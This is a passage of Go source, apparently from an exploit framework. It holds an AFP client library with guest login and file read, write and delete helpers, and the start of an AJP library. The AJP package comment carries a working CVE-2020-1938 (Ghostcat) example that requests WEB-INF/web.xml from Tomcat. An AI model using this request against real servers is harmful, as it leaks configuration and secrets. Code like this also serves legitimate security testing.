AFPCloseFork = 0x04 AFPCopyFile = 0x05 AFPCreateDir = 0x06 AFPCreateFile = 0x07 AFPDelete = 0x08 AFPEnumerate = 0x09 AFPFlush = 0x0a AFPFlushFork = 0x0b AFPGetForkParams = 0x0e AFPGetSrvrInfo = 0x0f AFPGetSrvrParams = 0x10 AFPGetVolParams = 0x11 AFPLogin = 0x12 AFPLoginCont = 0x13 AFPLogout = 0x14 AFPMapID = 0x15 AFPMapName = 0x16 AFPMoveAndRename = 0x17 AFPOpenVol = 0x18 AFPOpenDir = 0x19 AFPOpenFork = 0x1a AFPRead = 0x1b AFPRename = 0x1c AFPSetDirParams = 0x1d AFPSetFileParams = 0x1e AFPSetForkParams = 0x1f AFPSetVolParams = 0x20 AFPWrite = 0x21 AFPGetFileDirParams = 0x22 AFPSetFileDirParams = 0x23 AFPChangePW = 0x24 AFPGetUserInfo = 0x25 AFPGetSrvrMesg = 0x26 AFPCreateID = 0x27 AFPDeleteID = 0x28 AFPResolveID = 0x29 AFPExchangeFiles = 0x2a AFPCatSearch = 0x2b AFPOpenDT = 0x30 AFPCloseDT = 0x31 AFPGetIcon = 0x33 AFPGetIconInfo = 0x34 AFPAddAppl = 0x35 AFPRmvAppl = 0x36 AFPGetAppl = 0x37 AFPAddComment = 0x38 AFPRmvComment = 0x39 AFPGetComment = 0x3a AFPReadExt = 0x3c AFPWriteExt = 0x3d AFPGetExtAttr = 0x45 AFPSetExtAttr = 0x46 VolBitmapAttributes = 0x1 VolBitmapSignature = 0x2 VolBitmapCreationDate = 0x4 VolBitmapModificationDate = 0x8 VolBitmapBackupDate = 0x10 VolBitmapID = 0x20 VolBitmapBytesFree = 0x40 VolBitmapBytesTotal = 0x80 VolBitmapName = 0x100 VolBitmapExtendedBytesFree = 0x200 VolBitmapExtendedBytesTotal = 0x400 VolBitmapBlockSize = 0x800 FileBitmapAttributes = 0x1 FileBitmapParentDirID = 0x2 FileBitmapCreationDate = 0x4 FileBitmapModificationDate = 0x8 FileBitmapBackupDate = 0x10 FileBitmapFinderInfo = 0x20 FileBitmapLongName = 0x40 FileBitmapShortName = 0x80 FileBitmapNodeID = 0x100 FileBitmapDataForkSize = 0x200 FileBitmapResourceForkSize = 0x400 FileBitmapExtendedDataForkSize = 0x800 FileBitmapLaunchLimit = 0x1000 FileBitmapUTF8Name = 0x2000 FileBitmapExtendedResourceForkSize = 0x4000 FileBitmapUnixPrivileges = 0x8000 FileBitmapALL = 0xFFFF DirBitmapAttributes = 0x1 DirBitmapParentDirID = 0x0 DirBitmapCreationDate = 0x4 DirBitmapModificationDate = 0x8 DirBitmapBackupDate = 0x10 DirBitmapFinderInfo = 0x20 DirBitmapLongName = 0x40 DirBitmapShortName = 0x80 DirBitmapNodeID = 0x100 DirBitmapOffspringCount = 0x200 DirBitmapOwnerID = 0x400 DirBitmapGroupID = 0x800 DirBitmapAccessRights = 0x1000 DirBitmapUTF8Name = 0x2000 DirBitmapUnixPrivileges = 0x8000 DirBitmapALL = 0xBFFF AccessModeRead = 0x1 AccessModeWrite = 0x2 AccessModeDenyRead = 0x10 AccessModeDenyWrite = 0x20 ) type Header struct { Flags uint8 Command uint8 RequestID uint16 ErrorCode uint32 TotalDataLength uint32 Reserved uint32 } type FPPacket struct { Header Header Body []byte } // encode an FPPacket to bytes. func (d *Header) Encode() []byte { return []byte{ d.Flags, d.Command, byte(d.RequestID >> 8), byte(d.RequestID), byte(d.ErrorCode >> 24), byte(d.ErrorCode >> 16), byte(d.ErrorCode >> 8), byte(d.ErrorCode), byte(d.TotalDataLength >> 24), byte(d.TotalDataLength >> 16), byte(d.TotalDataLength >> 8), byte(d.TotalDataLength), 0, 0, 0, 0, } } // Decode bytes into an FPPacket. func Decode(data []byte) (FPPacket, bool) { if len(data) < 16 { output.PrintfFrameworkError("Couldn't decode bad AFP header with length %d", len(data)) return FPPacket{}, false } header := Header{ Flags: data[0], Command: data[1], RequestID: uint16(data[3]) | uint16(data[2])<<8, ErrorCode: uint32(data[7]) | uint32(data[6])<<8 | uint32(data[5])<<16 | uint32(data[4])<<24, TotalDataLength: uint32(data[11]) | uint32(data[10])<<8 | uint32(data[9])<<16 | uint32(data[8])<<24, } body := data[16:] return FPPacket{header, body}, true } // Connects to an AFP server and opens a session. func Connect(host string, port int, ssl bool) (net.Conn, bool) { conn, ok := protocol.MixedConnect(host, port, ssl) if !ok { output.PrintfFrameworkDebug("Failed to connect to: %s:%d", host, port) return nil, false } _ = conn.SetWriteDeadline(time.Now().Add(time.Duration(protocol.GlobalCommTimeout) * time.Second)) _ = conn.SetReadDeadline(time.Now().Add(time.Duration(protocol.GlobalCommTimeout) * time.Second)) ok = OpenSession(conn) if !ok { output.PrintfFrameworkDebug("Failed to connect to: %s:%d", host, port) return nil, false } return conn, true } // Connects to an AFP server and gets server information. func GetServerStatus(host string, port int, ssl bool) (*FPPacket, bool) { conn, ok := protocol.MixedConnect(host, port, ssl) if !ok { output.PrintfFrameworkDebug("Failed to connect to: %s:%d", host, port) return nil, false } _ = conn.SetWriteDeadline(time.Now().Add(time.Duration(protocol.GlobalCommTimeout) * time.Second)) _ = conn.SetReadDeadline(time.Now().Add(time.Duration(protocol.GlobalCommTimeout) * time.Second)) data := []byte{} packet := CreateFPPacket(DSIGetStatus, data) // send message ok = WritePacket(conn, packet) if !ok { output.PrintfFrameworkDebug("Failed to get server status of: %s:%d", host, port) return nil, false } // read response response, ok := ReadPacket(conn) if !ok { output.PrintfFrameworkDebug("Failed to get server status of: %s:%d", host, port) return nil, false } if response.Header.ErrorCode != 0 { output.PrintfFrameworkDebug("Failed to get server status of: %s:%d", host, port) return nil, false } return response, true } // Creates an AFP session. func OpenSession(conn net.Conn) bool { // from nmap lua library -- data = string.pack( ">BBI4", option, option_len, quantum ) data := []byte{} data = append(data, byte(0x01)) data = append(data, byte(0x04)) quantumBytes := make([]byte, 4) binary.BigEndian.PutUint32(quantumBytes, uint32(1024)) data = append(data, quantumBytes...) packet := CreateFPPacket(DSIOpenSession, data) // send message ok := WritePacket(conn, packet) if !ok { return false } // read response _, ok = ReadPacket(conn) return ok } // Disconnects from an active AFP session. func Disconnect(conn net.Conn) bool { h := Header{ Flags: 0x0, Command: DSICloseSession, RequestID: 1, } ok := WritePacket(conn, FPPacket{h, nil}) conn.Close() return ok } // Reads bytes from connection and converts them to an FPPacket. func ReadPacket(conn net.Conn) (*FPPacket, bool) { // read response header headerBytes, ok := protocol.TCPReadAmountBlind(conn, 16) if !ok { return nil, ok } packet, ok := Decode(headerBytes) if !ok { return nil, ok } if packet.Header.TotalDataLength > 0 { packet.Body, ok = protocol.TCPReadAmountBlind(conn, int(packet.Header.TotalDataLength)) if !ok { return nil, ok } } if packet.Header.Flags == 0x0 { p, ok := ReadPacket(conn) if !ok { return nil, ok } packet = *p } return &packet, ok } // Creates a FPPacket given a command byte and payload. func CreateFPPacket(command byte, payload []byte) FPPacket { dsiHeader := Header{ Flags: 0x00, Command: command, RequestID: uint16(0x01), ErrorCode: uint32(0x00), TotalDataLength: uint32(len(payload)), Reserved: uint32(0x00), } return FPPacket{dsiHeader, payload} } // Converts FPPacket to bytes and sends them. func WritePacket(conn net.Conn, packet FPPacket) bool { msg := []byte{} msg = append(msg, packet.Header.Encode()...) msg = append(msg, packet.Body...) ok := protocol.TCPWrite(conn, msg) return ok } // Logs into the AFP server as the guest user. func AnonymousLogin(conn net.Conn) bool { // self.proto:fp_login( "AFP3.1", "No User Authent" ) // from nmap lua library -- data = string.pack( "Bs1s1", COMMAND.FPLogin, afp_version, uam ) data := []byte{} data = append(data, AFPLogin) data = append(data, uint8(len("AFP3.1"))) data = append(data, "AFP3.1"...) data = append(data, uint8(len("No User Authent"))) data = append(data, "No User Authent"...) packet := CreateFPPacket(DSICommand, data) // send message ok := WritePacket(conn, packet) if !ok { return false } // read response _, ok = ReadPacket(conn) return ok } // Sends the Logout command to the AFP server. func Logout(conn net.Conn) bool { // from nmap lua library -- data = string.pack(">Bx", COMMAND.FPLogout) data := []byte{} data = append(data, AFPLogout) data = append(data, byte(0)) packet := CreateFPPacket(DSICommand, data) // send message ok := WritePacket(conn, packet) if !ok { return false } // read response _, ok = ReadPacket(conn) return ok } // Sends the OpenVolume command to the AFP server. func OpenVolume(conn net.Conn, bitmap uint16, volumeName []byte) (uint16, bool) { // from nmap lua library -- data = string.pack(">BxI2s1", COMMAND.FPOpenVol, bitmap, volume_name) data := []byte{} data = append(data, AFPOpenVol) data = append(data, byte(0)) bitmapBytes := make([]byte, 2) binary.BigEndian.PutUint16(bitmapBytes, bitmap) data = append(data, bitmapBytes...) data = append(data, uint8(len(volumeName))) data = append(data, volumeName...) packet := CreateFPPacket(DSICommand, data) // send message ok := WritePacket(conn, packet) if !ok { return 0, false } // read response response, ok := ReadPacket(conn) if !ok { return 0, false } // get volume bitmap and volume id // from nmap lua library -- data = volume.bitmap, volume.volume_id, pos = string.unpack(">I2I2", response.packet.data) if len(response.Body) < 4 { output.PrintfFrameworkDebug("Error Code %x", response.Header.ErrorCode) output.PrintfFrameworkDebug("No volume data for %s", volumeName) return 0, false } volumeID := uint16(response.Body[3]) | uint16(response.Body[2])<<8 return volumeID, true } // Walks the root directory of a volume by opening the volume by ID. func WalkRootDir(conn net.Conn, path string) (uint16, uint32, bool) { // split the dir path pathElements := strings.Split(path, "/") // Open the volume by name (first component of the path) volumeID, ok := OpenVolume(conn, VolBitmapID, []byte(pathElements[0])) if !ok { output.PrintfFrameworkDebug("failed to open volume: %s", pathElements[0]) return 0, 0, false } directoryID := uint32(2) return volumeID, directoryID, true } // Sends the CreateFile command to the AFP server. func CreateFile(conn net.Conn, volumeID uint16, dirID uint32, fileName string) bool { // from nmap lua library -- data = string.pack(">BBI2I4", COMMAND.FPCreateFile, flag, vol_id, did) .. encode_path(path) // .. encode_path(path) -- string.pack("Bs1", path.type-{2}-, path.name) data := []byte{} data = append(data, AFPCreateFile) data = append(data, byte(0)) volIDBytes := make([]byte, 2) binary.BigEndian.PutUint16(volIDBytes, volumeID) data = append(data, volIDBytes...) dirIDBytes := make([]byte, 4) binary.BigEndian.PutUint32(dirIDBytes, dirID) data = append(data, dirIDBytes...) data = append(data, byte(0x2)) data = append(data, uint8(len(fileName))) data = append(data, []byte(fileName)...) packet := CreateFPPacket(DSICommand, data) // send message ok := WritePacket(conn, packet) if !ok { return false } // read response response, ok := ReadPacket(conn) if !ok { return false } if response.Header.ErrorCode != 0 { return false } return true } // Sends the OpenFork command to the AFP server. func OpenFork(conn net.Conn, flag byte, volumeID uint16, dirID uint32, bitmap uint16, accessMode uint16, path string) (*FPPacket, bool) { pathElements := strings.Split(path, "/") fileName := pathElements[len(pathElements)-1] // from nmap lua library -- data = string.pack( ">BBI2I4I2I2", COMMAND.FPOpenFork, flag, volume_id, did, file_bitmap, access_mode ) .. encode_path(path) data := []byte{} data = append(data, AFPOpenFork) data = append(data, flag) volIDBytes := make([]byte, 2) binary.BigEndian.PutUint16(volIDBytes, volumeID) data = append(data, volIDBytes...) dirIDBytes := make([]byte, 4) binary.BigEndian.PutUint32(dirIDBytes, dirID) data = append(data, dirIDBytes...) fileBitmapBytes := make([]byte, 2) binary.BigEndian.PutUint16(fileBitmapBytes, bitmap) data = append(data, fileBitmapBytes...) accessModeBytes := make([]byte, 2) binary.BigEndian.PutUint16(accessModeBytes, accessMode) data = append(data, accessModeBytes...) data = append(data, byte(0x2)) data = append(data, uint8(len(fileName))) data = append(data, []byte(fileName)...) packet := CreateFPPacket(DSICommand, data) // send message ok := WritePacket(conn, packet) if !ok { return nil, false } // read response response, ok := ReadPacket(conn) if !ok { output.PrintfFrameworkDebug("Open Fork error not ok") return nil, false } if response.Header.ErrorCode != 0 { output.PrintfFrameworkDebug("Open Fork error code: %x", response.Header.ErrorCode) return nil, false } return response, true } // Sends the CloseFork command to the AFP server. func CloseFork(conn net.Conn, forkID uint16) bool { // from nmap lua library -- data = string.pack( ">BxI2", COMMAND.FPCloseFork, fork ) data := []byte{} data = append(data, AFPCloseFork) data = append(data, byte(0)) forkIDBytes := make([]byte, 2) binary.BigEndian.PutUint16(forkIDBytes, forkID) data = append(data, forkIDBytes...) packet := CreateFPPacket(DSICommand, data) // send message ok := WritePacket(conn, packet) if !ok { return false } // read response _, ok = ReadPacket(conn) return ok } // Sends the FlushFork command to the AFP server. func FlushFork(conn net.Conn, forkID uint16) bool { data := []byte{} data = append(data, AFPFlushFork) data = append(data, byte(0)) forkIDBytes := make([]byte, 2) binary.BigEndian.PutUint16(forkIDBytes, forkID) data = append(data, forkIDBytes...) packet := CreateFPPacket(DSICommand, data) // send message ok := WritePacket(conn, packet) if !ok { return false } // read response _, ok = ReadPacket(conn) return ok } // Sends the SetForkParams command to the AFP server. func SetForkParams(conn net.Conn, forkID uint16, bitmap uint16, size uint64) bool { data := []byte{} data = append(data, AFPSetForkParams) data = append(data, byte(0x00)) forkIDBytes := make([]byte, 2) binary.BigEndian.PutUint16(forkIDBytes, forkID) data = append(data, forkIDBytes...) fileBitmapBytes := make([]byte, 2) binary.BigEndian.PutUint16(fileBitmapBytes, bitmap) data = append(data, fileBitmapBytes...) sizeBytes := make([]byte, 8) binary.BigEndian.PutUint64(sizeBytes, size) data = append(data, sizeBytes...) packet := CreateFPPacket(DSICommand, data) // send message ok := WritePacket(conn, packet) if !ok { return false } // read response _, ok = ReadPacket(conn) return ok } // Sends the GetForkParams command to the AFP server. func GetForkParams(conn net.Conn, forkID uint16, bitmap uint16) (*FPPacket, bool) { data := []byte{} data = append(data, AFPGetForkParams) data = append(data, byte(0x00)) forkIDBytes := make([]byte, 2) binary.BigEndian.PutUint16(forkIDBytes, forkID) data = append(data, forkIDBytes...) bitmapBytes := make([]byte, 2) binary.BigEndian.PutUint16(bitmapBytes, bitmap) data = append(data, bitmapBytes...) packet := CreateFPPacket(DSICommand, data) // send message ok := WritePacket(conn, packet) if !ok { return nil, false } // read response response, ok := ReadPacket(conn) return response, ok } // Sends the ReadExt command to the AFP server. func ReadExt(conn net.Conn, forkID uint16, offset uint64, count uint64) (*FPPacket, bool) { // from nmap lua library -- data = string.pack( ">BxI2I8I8", COMMAND.FPReadExt, fork, offset, count ) data := []byte{} data = append(data, AFPReadExt) data = append(data, byte(0)) forkIDBytes := make([]byte, 2) binary.BigEndian.PutUint16(forkIDBytes, forkID) data = append(data, forkIDBytes...) offsetBytes := make([]byte, 8) binary.BigEndian.PutUint64(offsetBytes, offset) data = append(data, offsetBytes...) countBytes := make([]byte, 8) binary.BigEndian.PutUint64(countBytes, count) data = append(data, countBytes...) packet := CreateFPPacket(DSICommand, data) // send message ok := WritePacket(conn, packet) if !ok { return nil, false } // read response response, ok := ReadPacket(conn) return response, ok } // Sends the WriteExt command to the AFP server. func WriteExt(conn net.Conn, forkID uint16, fdata []byte) bool { // from nmap lua library -- data = string.pack( ">BBI2I8I8", COMMAND.FPWriteExt, flag, fork, offset, count) .. fdata data := []byte{} data = append(data, AFPWriteExt) data = append(data, byte(0)) forkIDBytes := make([]byte, 2) binary.BigEndian.PutUint16(forkIDBytes, forkID) data = append(data, forkIDBytes...) offsetBytes := make([]byte, 8) binary.BigEndian.PutUint64(offsetBytes, 0) data = append(data, offsetBytes...) fdataLenBytes := make([]byte, 8) binary.BigEndian.PutUint64(fdataLenBytes, uint64(len(fdata))) data = append(data, fdataLenBytes...) data = append(data, fdata...) packet := CreateFPPacket(DSIWrite, data) packet.Header.ErrorCode = uint32(20) // send message ok := WritePacket(conn, packet) if !ok { return false } // read response response, ok := ReadPacket(conn) if !ok { return false } if response.Header.ErrorCode != 0 { return false } return true } // Sends the Move and Rename command to the AFP server. func MoveAndRenameFile(conn net.Conn, srcVolID uint16, srcDirID uint32, srcPath string, dstDirID uint32, dstPath string, dstName string) bool { // data = string.pack(">BxI2I4I2I4", COMMAND.FPCopyFile, src_vol, src_did, dst_vol, dst_did ) // .. encode_path({type=PATH_TYPE.UTF8Name, name=src_path}) // .. encode_path({type=PATH_TYPE.UTF8Name, name=dst_path}) // .. encode_path({type=PATH_TYPE.UTF8Name, name=new_name}) utf8Bytes := []byte{0x08, 0x00, 0x01, 0x03} data := []byte{} data = append(data, AFPMoveAndRename) data = append(data, byte(0x00)) srcVolIDBytes := make([]byte, 2) binary.BigEndian.PutUint16(srcVolIDBytes, srcVolID) data = append(data, srcVolIDBytes...) srcDirIDBytes := make([]byte, 4) binary.BigEndian.PutUint32(srcDirIDBytes, srcDirID) data = append(data, srcDirIDBytes...) dstDirIDBytes := make([]byte, 4) binary.BigEndian.PutUint32(dstDirIDBytes, dstDirID) data = append(data, dstDirIDBytes...) // Unicode names data = append(data, byte(0x03)) data = append(data, utf8Bytes...) srcPathLenBytes := make([]byte, 2) binary.BigEndian.PutUint16(srcPathLenBytes, uint16(len(srcPath))) data = append(data, srcPathLenBytes...) data = append(data, srcPath...) data = append(data, byte(0x03)) data = append(data, utf8Bytes...) dstPathLenBytes := make([]byte, 2) binary.BigEndian.PutUint16(dstPathLenBytes, uint16(len(dstPath))) data = append(data, dstPathLenBytes...) data = append(data, dstPath...) data = append(data, byte(0x03)) data = append(data, utf8Bytes...) dstNameLenBytes := make([]byte, 2) binary.BigEndian.PutUint16(dstNameLenBytes, uint16(len(dstName))) data = append(data, dstNameLenBytes...) data = append(data, dstName...) packet := CreateFPPacket(DSICommand, data) // send message ok := WritePacket(conn, packet) if !ok { return false } // read response _, ok = ReadPacket(conn) return ok } // Sends the AddAppl command to the AFP server. func AddAppl(conn net.Conn, volID uint16, dirID uint32, creator [4]byte, applTag [4]byte, path string) bool { data := []byte{} data = append(data, AFPAddAppl) data = append(data, byte(0x00)) volIDBytes := make([]byte, 2) binary.BigEndian.PutUint16(volIDBytes, volID) data = append(data, volIDBytes...) dirIDBytes := make([]byte, 4) binary.BigEndian.PutUint32(dirIDBytes, dirID) data = append(data, dirIDBytes...) data = append(data, creator[0]) data = append(data, creator[1]) data = append(data, creator[2]) data = append(data, creator[3]) data = append(data, applTag[0]) data = append(data, applTag[1]) data = append(data, applTag[2]) data = append(data, applTag[3]) data = append(data, byte(0x2)) data = append(data, uint8(len(path))) data = append(data, []byte(path)...) packet := CreateFPPacket(DSICommand, data) // send message ok := WritePacket(conn, packet) if !ok { return false } // read response _, ok = ReadPacket(conn) return ok } // Sends the GetAppl command to the AFP server. func GetAppl(conn net.Conn, volID uint16, creator [4]byte, aIndex uint16, bitmap uint16) (*FPPacket, bool) { data := []byte{} data = append(data, AFPGetAppl) data = append(data, byte(0x00)) volIDBytes := make([]byte, 2) binary.BigEndian.PutUint16(volIDBytes, volID) data = append(data, volIDBytes...) data = append(data, creator[0]) data = append(data, creator[1]) data = append(data, creator[2]) data = append(data, creator[3]) aIndexBytes := make([]byte, 2) binary.BigEndian.PutUint16(aIndexBytes, aIndex) data = append(data, aIndexBytes...) bitmapBytes := make([]byte, 2) binary.BigEndian.PutUint16(bitmapBytes, bitmap) data = append(data, bitmapBytes...) packet := CreateFPPacket(DSICommand, data) // send message ok := WritePacket(conn, packet) if !ok { return nil, false } // read response response, ok := ReadPacket(conn) return response, ok } // Sends the setfileparams command to the AFP server. func SetFilParams(conn net.Conn, volID uint16, dirID uint32, bitmap uint16, path string, buffer []byte) bool { data := []byte{} data = append(data, AFPSetFileParams) data = append(data, byte(0x00)) volIDBytes := make([]byte, 2) binary.BigEndian.PutUint16(volIDBytes, volID) data = append(data, volIDBytes...) dirIDBytes := make([]byte, 4) binary.BigEndian.PutUint32(dirIDBytes, dirID) data = append(data, dirIDBytes...) bitmapBytes := make([]byte, 2) binary.BigEndian.PutUint16(bitmapBytes, bitmap) data = append(data, bitmapBytes...) data = append(data, byte(0x2)) data = append(data, uint8(len(path))) data = append(data, []byte(path)...) data = append(data, buffer...) packet := CreateFPPacket(DSICommand, data) // send message ok := WritePacket(conn, packet) if !ok { return false } // read response _, ok = ReadPacket(conn) return ok } // Sends the Delete command to the AFP server. func Delete(conn net.Conn, volumeID uint16, dirID uint32, path string) bool { // requires protocol 3.2 and specific support configured at build time. pathElements := strings.Split(path, "/") fileName := pathElements[len(pathElements)-1] data := []byte{} data = append(data, AFPDelete) data = append(data, byte(0x00)) volIDBytes := make([]byte, 2) binary.BigEndian.PutUint16(volIDBytes, volumeID) data = append(data, volIDBytes...) dirIDBytes := make([]byte, 4) binary.BigEndian.PutUint32(dirIDBytes, dirID) data = append(data, dirIDBytes...) data = append(data, byte(0x2)) data = append(data, uint8(len(fileName))) data = append(data, []byte(fileName)...) packet := CreateFPPacket(DSICommand, data) // send message ok := WritePacket(conn, packet) if !ok { return false } // read response _, ok = ReadPacket(conn) return ok } // Reads a file in the root directory on a AFP server. // Works by looking up the file in the root volume, opening it's metadata file, and reading the file data. // The parameters are conn - a connection to the AFP server created by afp.Connect(), path - a string of the file to open, // and forkFlag, which is passed to OpenFork. To read just the file contents, it should be 0x00, to read // fork resource data, it should be 0x02. func ReadFile(conn net.Conn, path string, forkFlag byte) ([]byte, bool) { // Step 1: Walk the directory tree to find volume and directory IDs volumeID, dirID, ok := WalkRootDir(conn, path) if !ok { return nil, false } // Step 2: Open the fork file response, ok := OpenFork(conn, forkFlag, volumeID, dirID, uint16(0x00), AccessModeRead, path) if !ok || len(response.Body) < 4 { return nil, false } forkID := uint16(response.Body[3]) | uint16(response.Body[2])<<8 // Step 3: Read data readData := []byte{} offset := uint64(0) count := uint64(1024) for { response, ok := ReadExt(conn, forkID, offset, count) if !ok { break } if response.Header.ErrorCode == 0 || response.Header.ErrorCode == 0xFFFFEC6F { readData = append(readData, response.Body...) break } readData = append(readData, response.Body...) offset += count } // step 4: close the fork file ok = CloseFork(conn, forkID) return readData, ok } // Writes a new file to the root directory of AFP Server. // The parameters are conn - a connection to the AFP server created by afp.Connect(), path - a string of the file to create, // fdata - the file data to write, and withFork - whether to create a fork metadata file. func WriteNewFile(conn net.Conn, path string, fdata []byte, withFork bool) bool { // Step 1: Walk the directory tree to find volume and directory IDs volumeID, dirID, ok := WalkRootDir(conn, path) if !ok { return false } pathElements := strings.Split(path, "/") fileName := pathElements[len(pathElements)-1] // Step 2: Create the file ok = CreateFile(conn, volumeID, dirID, fileName) if !ok { return false } openFlag := byte(0x00) if withFork { openFlag = byte(0x02) } // Step 3: Open the fork file response, ok := OpenFork(conn, openFlag, volumeID, dirID, uint16(0), AccessModeWrite, path) if !ok || len(response.Body) < 4 { return false } forkID := uint16(response.Body[3]) | uint16(response.Body[2])<<8 // Step 4: Write data ok = WriteExt(conn, forkID, fdata) if !ok { return false } ok = CloseFork(conn, forkID) return ok } // Writes to an existing file to the root directory of AFP Server. // The parameters are conn - a connection to the AFP server created by afp.Connect(), path - a string of the file to create, // fdata - the file data to write, and withFork - whether to create a fork metadata file. func WriteFile(conn net.Conn, path string, fdata []byte, withFork bool) bool { // Step 1: Walk the directory tree to find volume and directory IDs volumeID, dirID, ok := WalkRootDir(conn, path) if !ok { return false } openFlag := byte(0x00) if withFork { openFlag = byte(0x02) } // Step 2: Open the fork file response, ok := OpenFork(conn, openFlag, volumeID, dirID, uint16(0), AccessModeWrite, path) if !ok || len(response.Body) < 4 { return false } forkID := uint16(response.Body[3]) | uint16(response.Body[2])<<8 // Step 3: Write data ok = WriteExt(conn, forkID, fdata) if !ok { return false } ok = CloseFork(conn, forkID) return ok } // Deletes a file from the root directory of AFP Server via filename. func DeleteFile(conn net.Conn, path string) bool { // Step 1: Walk the directory tree to find volume and directory IDs volumeID, dirID, ok := WalkRootDir(conn, path) if !ok { return false } // Step 2: Delete file ok = Delete(conn, volumeID, dirID, path) if !ok { return false } return ok } // Move and Renames an existing file to the root directory of AFP Server. func RenameFileHelper(conn net.Conn, srcPath string, dstPath string, dstName string) bool { // Step 1: Walk the directory trees to find volume and directory IDs volumeID1, dirID1, ok := WalkRootDir(conn, srcPath) if !ok { return false } _, dirID2, ok := WalkRootDir(conn, dstPath) if !ok { return false } if dirID1 == dirID2 { dstPath = "" } pathElements := strings.Split(srcPath, "/") srcFileName := pathElements[len(pathElements)-1] // Step 2: move files ok = MoveAndRenameFile(conn, volumeID1, dirID1, srcFileName, dirID2, dstPath, dstName) return ok } ================================================ FILE: protocol/ajp/ajp.go ================================================ // Package ajp is a very basic (and incomplete) implementation of the AJPv13 protocol. This implementation is // enough to send and receive GET requests. Usage example (CVE-2020-1938): // // attributes := []string{ // "javax.servlet.include.request_uri", // "/", // "javax.servlet.include.path_info", // "WEB-INF/web.xml", // "javax.servlet.include.servlet_path", // "/", // } // // status, data, ok := ajp.SendAndRecv(conf.Rhost, conf.Rport, conf.SSL, "/"+random.RandLetters(12), "GET", []string{}, attributes) // if !ok { // return false // } // if status != 200 { // return false // } // // For details on the protocol see: https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html package ajp import ( "encoding/binary" "net" "strings" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/protocol" "github.com/vulncheck-oss/go-exploit/transform" ) type method byte const ( OPTIONS method = 1 GET method = 2 HEAD method = 3 POST method = 4 PUT method = 5 DELETE method = 6 ) type reqType byte const ( FORWARD reqType = 2 SHUTDOWN reqType = 7 PING reqType = 8 CPING reqType = 10 ) type respType byte const ( SENDBODYCHUNK respType = 3 SENDHEADERS respType = 4 ENDRESPONSE respType = 5 ) type definedHeaders uint16 const ( ACCEPT definedHeaders = 0xa001 ACCEPTCHARSET definedHeaders = 0xa002 ACCEPTENCODING definedHeaders = 0xa003 ACCEPTLANGUAGE definedHeaders = 0xa004 AUTHORIZATION definedHeaders = 0xa005 CONNECTION definedHeaders = 0xa006 CONTENTTYPE definedHeaders = 0xa007 CONTENTLENGTH definedHeaders = 0xa008 COOKIE definedHeaders = 0xa009 COOKIE2 definedHeaders = 0xa00a HOST definedHeaders = 0xa00b PRAGMA definedHeaders = 0xa00c REFERER definedHeaders = 0xa00d USERAGENT definedHeaders = 0xa00e ) // A data structure for holding Forward Request data before serialization. type ForwardRequest struct { prefixCode int method method protocol string reqURI string remoteAddr string remoteHost string serverName string serverPort int useSSL bool headers []string attributes []string } // Creates a Forward Request struct and default constructs it. func createForwardRequest(host string, port int, ssl bool, uri string, headers []string, attributes []string) ForwardRequest { request := ForwardRequest{} request.prefixCode = 0x02 request.protocol = "HTTP/1.1" request.reqURI = uri request.remoteAddr = host request.remoteHost = "" request.serverName = host request.serverPort = port request.useSSL = ssl request.headers = make([]string, 0) request.headers = append(request.headers, "host") request.headers = append(request.headers, host) request.headers = append(request.headers, headers...) request.attributes = make([]string, 0) request.attributes = append(request.attributes, attributes...) return request } // Sets the ForwardRequest method to GET and sets the content-length to 0. func setGetForwardRequest(request *ForwardRequest) { request.method = GET request.headers = append(request.headers, "content-length") request.headers = append(request.headers, "0") } // Transforms a string into the AJP binary format. func appendString(serialized *[]byte, value string) { data := *serialized if len(value) == 0 { data = append(data, "\xff\xff"...) } else { data = append(data, transform.PackBigInt16(len(value))...) data = append(data, value...) data = append(data, 0x00) } *serialized = data } // Transforms a bool into the AJP binary format. func appendBool(serialized *[]byte, value bool) { data := *serialized if value { data = append(data, 1) } else { data = append(data, 0) } *serialized = data } // Transforms an int into the AJP binary format. func appendInt(serialized *[]byte, value int) { data := *serialized data = append(data, transform.PackBigInt16(value)...) *serialized = data } // Transforms the ForwardRequests struct into a []byte to be sent on the wire. func serializeForwardRequest(request ForwardRequest) []byte { serialized := make([]byte, 0) serialized = append(serialized, byte(FORWARD)) serialized = append(serialized, byte(request.method)) appendString(&serialized, request.protocol) appendString(&serialized, request.reqURI) appendString(&serialized, request.remoteAddr) appendString(&serialized, request.remoteHost) appendString(&serialized, request.serverName) appendInt(&serialized, request.serverPort) appendBool(&serialized, request.useSSL) appendInt(&serialized, len(request.headers)/2) // take use provided headers and translate them into AJP pre-defined headers for _, header := range request.headers { switch header { case "accept": appendInt(&serialized, int(ACCEPT)) case "host": appendInt(&serialized, int(HOST)) case "content-length": appendInt(&serialized, int(CONTENTLENGTH)) case "connection": appendInt(&serialized, int(CONNECTION)) case "user-agent": appendInt(&serialized, int(USERAGENT)) default: appendString(&serialized, header) } } for i := 0; i < len(request.attributes); i += 2 { serialized = append(serialized, 0x0a) appendString(&serialized, request.attributes[i]) appendString(&serialized, request.attributes[i+1]) } // terminate serialized = append(serialized, 0xff) header := make([]byte, 0) header = append(header, 0x12) header = append(header, 0x34) header = append(header, transform.PackBigInt16(len(serialized))...) serialized = append(header, serialized...) return serialized } // validate the magic received from the server. func checkRecvMagic(conn net.Conn) bool { magic, ok := protocol.TCPReadAmount(conn, 2) if !ok { return false } return magic[0] == 0x41 && magic[1] == 0x42 } // Read a response from the server. Generally: magic, length, . func readResponse(conn net.Conn) (string, bool) { if !checkRecvMagic(conn) { output.PrintFrameworkDebug("Received invalid magic") return "", false } length, ok := protocol.TCPReadAmount(conn, 2) if !ok { return "", false } toRead := int(binary.BigEndian.Uint16(length)) if toRead == 0 { output.PrintFrameworkError("The server provided an invalid message length") return "", false } data, ok := protocol.TCPReadAmount(conn, toRead) if !ok { return "", false } return string(data), true } // Reads the response from the server. Generally should be: send headers, send body chunk, end response // return the HTTP status, data, and bool indicating if we were successful or not. func readRequestResponse(conn net.Conn) (int, string, bool) { headers, ok := readResponse(conn) if !ok { return 0, "", false } if len(headers) < 10 { output.PrintFrameworkError("Received insufficient data") return 0, "", false } if headers[0] != byte(SENDHEADERS) { output.PrintFrameworkError("Received unexpected message type") return 0, "", false } status := int(binary.BigEndian.Uint16([]byte(headers[1:3]))) allData := "" for { body, ok := readResponse(conn) if !ok { return status, "", false } switch body[0] { case byte(SENDBODYCHUNK): allData += body[3:] case byte(ENDRESPONSE): return status, allData, true default: output.PrintFrameworkError("Unexpected message type") return status, "", false } } } // Send and 